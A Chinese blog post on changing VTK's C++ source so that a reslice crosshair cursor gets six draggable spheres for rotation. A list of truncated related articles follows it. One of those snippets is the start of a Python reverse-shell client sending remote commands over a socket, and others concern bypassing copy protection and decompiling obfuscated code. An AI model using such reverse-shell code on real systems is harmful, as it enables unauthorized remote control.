可通过小球进行旋转的十字光标(vtkResliceCursor)
前一段事件看到VTK的一个例子:
该案例是vtk.js写的,觉得很有意思,个人正好也要用到,于是萌生了用C++修改VTK源码来实现该功能的想法。原本以为很简单,只需要修改一下vtkResliceCursor就可以了,加上小球,加上几个Actor,就能实现,没想到该功能整花了我差不多一个月的时间。但也学到了不少知识,下面就该功能的实现效果和方法做个大致解说:
我实现的效果:
实现方法:
1,首先在vtkResliceCursor中定义六个小球的位置。因为是X,Y,Z三个轴,每个轴上两个小球,所以总共有六个小球。代码:
void vtkResliceCursor::BuildCursorGeometryWithoutHole()
{// 其他源码省略.......for (int i = 0; i < 3; i++){//wulc{this->SpherePoints[0][i] = this->Center[i] - sphereLength * this->XAxis[i];this->SpherePoints[1][i] = this->Center[i] + sphereLength * this->XAxis[i];this->SpherePoints[2][i] = this->Center[i] - sphereLength * this->YAxis[i];this->SpherePoints[3][i] = this->Center[i] + sphereLength * this->YAxis[i];this->SpherePoints[4][i] = this->Center[i] - sphereLength * this->ZAxis[i];this->SpherePoints[5][i] = this->Center[i] + sphereLength * this->ZAxis[i];}}// 其他源码省略.......
}sphereLength 是一个自定义的常数,也就是中心到小球的距离。可以是 30 ,40 ,50 .。。。。
除此之外我们还要定义一个函数,通过该函数可以获取这六个小球的坐标。比如 GetPointPosition(double p[6][3]);
2,在vtkResliceCursorPicker中判断鼠标是否靠近小球中心位置,靠近小球坐标时,将鼠标光标变为手掌形状。判断方法就是鼠标的位置和小球位置的距离,其中有现成的代码:
/----------------wulc---------------------------------------------------
int vtkResliceCursorPicker::IntersectPointWithPoint(double p1[3], double p2[3], double Points[], double tol)
{double pts[6][3] = { {0,0,0} };for (size_t i = 0; i < 6; i++){pts[i][0] = Points[3*i];pts[i][1] = Points[3*i + 1];pts[i][2] = Points[3 * i + 2];}int j = 0;for ( ; j < 6; j++){double X[4] = { pts[j][0], pts[j][1], pts[j][2], 1 };int i;double ray[3], rayFactor, projXYZ[3];for (i = 0; i < 3; i++){ray[i] = p2[i] - p1[i];}if ((rayFactor = vtkMath::Dot(ray, ray)) == 0.0){return 0;}const double t = (ray[0] * (X[0] - p1[0]) +ray[1] * (X[1] - p1[1]) +ray[2] * (X[2] - p1[2])) / rayFactor;if (t >= 0.0 && t <= 1.0){for (i = 0; i < 3; i++){projXYZ[i] = p1[i] + t * ray[i];if (fabs(X[i] - projXYZ[i]) > tol){break;}}if (i > 2) // within tolerance{return 1;}}}return 0;
}
3,最后要在vtkResliceCursorActor类中添加小球,代码:
//wulcif (this->Renderer == nullptr) return;if (axisNormal == 1)//x-z平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(2);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[2]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[3]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(0);this->SphereActor[0]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[1]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);}}else if (axisNormal == 2)//x-y平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(0);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[0]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[1]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(1);this->SphereActor[2]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[3]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);}}else if (axisNormal == 0) //y-z平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(2);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[0]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[1]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(1);this->SphereActor[2]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[3]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);}}
这就可以了,欢迎小伙伴能够一块讨论。
相关文章:

可通过小球进行旋转的十字光标(vtkResliceCursor)
前一段事件看到VTK的一个例子: 该案例是vtk.js写的,觉得很有意思,个人正好也要用到,于是萌生了用C修改VTK源码来实现该功能的想法。原本以为很简单,只需要修改一下vtkResliceCursor就可以了,加上小球&#…...
python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹
python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹 在Python中,你可以使用os和os.path模块来遍历文件夹(目录)。下面是一个简单的示例,展示了如何遍历一个文件夹中的所有文件和子文件夹: imp…...

网络层只懂路由?这9个知识点被严重低估了
号主:老杨丨11年资深网络工程师,更多网工提升干货,请关注公众号:网络工程师俱乐部 下午好,我的网工朋友。 网络层想必你已经耳熟能详,它的作用自然是不容小觑。 它负责将数据从源头准确地投递到目的地&am…...
最新的kali Linux源,解决apt update报错说没有数字签名
原因: 国内源的地址大部分都是http开头,这些地址早就无法使用。 解决方案: wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名 另外,需…...

RAG与Langchain简介
RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成(Retrieval-Augmented Generation),主要是通过从外部给大模型补充一些知识,相当于给模型外挂了一个知识库,让…...

绕过网页的阻止复制
绕过网页的阻止复制 一、问题的提出二、绕过技巧一三、绕过技巧二四、绕过技巧三五、总结说明 一、问题的提出 也是很久没有写文章了,今天突发奇想写一篇文章。首先你有没有被网页中的一些阻止你复制的页面所困扰。就是那种,你突然找到一篇文章…...
Jackson指定json的key
指定json的key 要在序列化JavaBean时指定JSON的key,可以使用JsonProperty注解来指定JavaBean属性序列化到JSON时使用的key。以下是一个简单的示例: import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.da…...

谷歌发布Infini-Transformer模型—无限注意力机制长度,超越极限
Transformer 是一种基于自注意力机制的深度学习模型,最初应用于自然语言处理领域,现已扩展到图像、音频等多个领域。与传统的循环神经网络 (RNN) 不同,Transformer 不依赖于顺序数据处理,能够并行计算,从而显著提高效率…...

激光点云配准算法——Cofinet / GeoTransforme / MAC
激光点云配准算法——Cofinet / GeoTransformer / MAC GeoTransformer MAC是当前最SOTA的点云匹配算法,在之前我用总结过视觉特征匹配的相关算法 视觉SLAM总结——SuperPoint / SuperGlue 本篇博客对Cofinet、GeoTransformer、MAC三篇论文进行简单总结 1. Cofine…...
socket--cs--nc简单实现反弹shell
socket_client.py import socket#客户端: #连接服务段的地址和端口 #输入命令发送执行 #回显命令执行结果# ipinput(please input connect ip:) # portinput(please input connect port:)ssocket.socket() # IP and PORT s.connect((,9999)) while True:cmdlineinput(please i…...

CSS入门基础2
目录 1.标签类型 2.块元素 3.行内元素 4.行内块元素 5.标签行内转换 6.背景样式 1.标签类型 标签以什么方式进行显示,比如div 自己占一行, 比如span 一行可以放很多个HTML标签一般分为块标签和行内标签两种类型: 块元素行内元素。 2.块…...

Mac vscode could not import github.com/gin-gonic/gin
问题背景: 第一次导入一个go的项目就报红 问题分析: 其实就是之前没有下载和导入gin这个web框架包 gin是一个golang的微框架,封装比较优雅,API友好,源码注释比较明确。 问题解决: 依次输入以下命令。通…...

MySQL修改用户权限(宝塔)
在我们安装好的MySQL中,很可能对应某些操作时,不具备操作的权限,如下是解决这些问题的方法 我以宝塔创建数据库为例,创建完成后,以创建的用户名和密码登录 这里宝塔中容易发生问题的地方,登录不上去&#…...
论文阅读(一种新的稀疏PCA求解方式)Sparse PCA: A Geometric Approach
这是一篇来自JMLR的论文,论文主要关注稀疏主成分分析(Sparse PCA)的问题,提出了一种新颖的几何解法(GeoSPCA)。 该方法相比传统稀疏PCA的解法的优点:1)更容易找到全局最优ÿ…...

Chrome/Edge浏览器视频画中画可拉动进度条插件
目录 前言 一、Separate Window 忽略插件安装,直接使用 注意事项 插件缺点 1 .无置顶功能 2.保留原网页,但会刷新原网页 3.窗口不够美观 二、弹幕画中画播放器 三、失败的尝试 三、Potplayer播放器 总结 前言 平时看一些视频的时候ÿ…...
pg修炼之道学习笔记
一、数据库逻辑结构介绍 1、一个pg数据库服务下有多个db(多个数据库),当应用连接到一个数据库时,一般只能访问这个数据库中的数据,而不能访问其他数据库的内容(限制) 2、表索引:一…...

使用宝塔面板部署Django应用(不成功Kill Me!)
使用宝塔面板部署Django应用 文章目录 使用宝塔面板部署Django应用 本地操作宝塔面板部署可能部署失败的情况 本地操作 备份数据库 # 备份数据库 mysqldump -u root -p blog > blog.sql创建requirements # 创建requirements.txt pip freeze > requirements.txt将本项目…...
c++深拷贝、浅拷贝
在 C 中,深拷贝和浅拷贝是两个重要的概念,尤其在涉及动态内存分配和指针成员时。这两个概念描述了对象复制时的行为。 浅拷贝 浅拷贝是指复制对象时,仅复制对象的基本数据成员,对于指针成员,只复制指针地址ÿ…...
k8s核心组件
Master组件: kube-apiserver:用于暴露Kubernetes API,任何资源请求或调用操作都是通过kube-apiserver提供的接口进行。它是Kubernetes集群架构的大脑,负责接收所有请求,并根据用户的具体请求通知其他组件工作。etcd&am…...

反编译腾讯vmp
反编译腾讯vmp 继续学习的过程 多翻译几个vmp 学习 看看他们的是怎么编译的 写一个自己的vmp function __TENCENT_CHAOS_VM(U, T, g, D, j, E, K, w) {// U指令起点// T是指令list// g是函数this 或window对象// D是内部变量和栈}for (0; ;)try {for (var B !1; !B;) {let no…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...

【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

Ascend NPU上适配Step-Audio模型
1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...